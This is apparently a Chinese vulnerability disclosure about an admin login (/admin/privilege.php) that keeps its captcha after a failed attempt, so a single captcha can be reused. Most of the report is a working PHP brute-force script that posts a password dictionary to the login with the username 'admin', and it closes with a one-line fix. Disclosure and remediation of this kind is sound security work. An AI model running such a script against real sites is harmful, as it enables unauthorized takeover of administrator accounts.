若验证码不匹配，并没有销毁当前验证码

 

所以就可以一次请求验证码图片后，只要不再刷新验证码就可以一直使用 

1.获取正确的验证码

 

2.

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<?php $site = '' ; $admin_path = '/admin/privilege.php' ; $captcha = '上一步获取的验证码' ; $referer = $site ; function getH( $url , $postdata = array ()){ global $ch , $referer ; $options = array ( CURLOPT_URL =>   $url ,                     CURLOPT_HEADER => false, CURLOPT_TIMEOUT=> 0.11, //CURLOPT_FILE=>$f, CURLOPT_RETURNTRANSFER=>true,                        CURLOPT_REFERER=> $referer ,   //CURLOPT_POST=>1, CURLOPT_HTTPHEADER=> array ( 'Content-Type: application/x-www-form-urlencoded; charset=iso-8859-1' , 'Expect:' ), CURLOPT_USERAGENT=> 'ie'                  );             if (! empty ( $postdata )){ $options [CURLOPT_POSTFIELDS]=http_build_query( $postdata ); } $ret = curl_setopt_array( $ch , $options ); //$ret = curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//返回一个字符串，而不是直接输出到浏览器    $ret = curl_exec( $ch );        $info = curl_getinfo( $ch );        if ( empty ( $info [ 'http_code' ])) {          die ( "No HTTP code was returned" );      } else if ( $info [ 'http_code' ]==200) { //响应码为200          return $ret ;          } else {          #var_dump( $info );            echo '<br />' ;          echo ( '响应码：' . $info [ 'http_code' ]); //          echo '<br />' ;          echo $postdata [ 'username' ]. '  ---' . $postdata [ 'password' ];          echo '<br />' ;      }     }   $url = $site . $admin_path ; $data = array (      'username' => 'admin' ,      'password' => '123456ad' ,      'captcha' => $captcha ,      'act' => 'signin'      ); //词典 $passwds = array ( '1' , '2' , '3' , '123456a' , '123456' , '123456ds' ); foreach ( $passwds as $p ){      $data [ 'password' ]= $p ;      $res = strip_tags (getH( $url , $data ));      if ( stripos ( $res , '您输入的帐号信息不正确' )){          echo 'no' ;      }      echo '<br>------------------------<br>' ; }

 

修复方案：

验证识别后销毁session中的验证码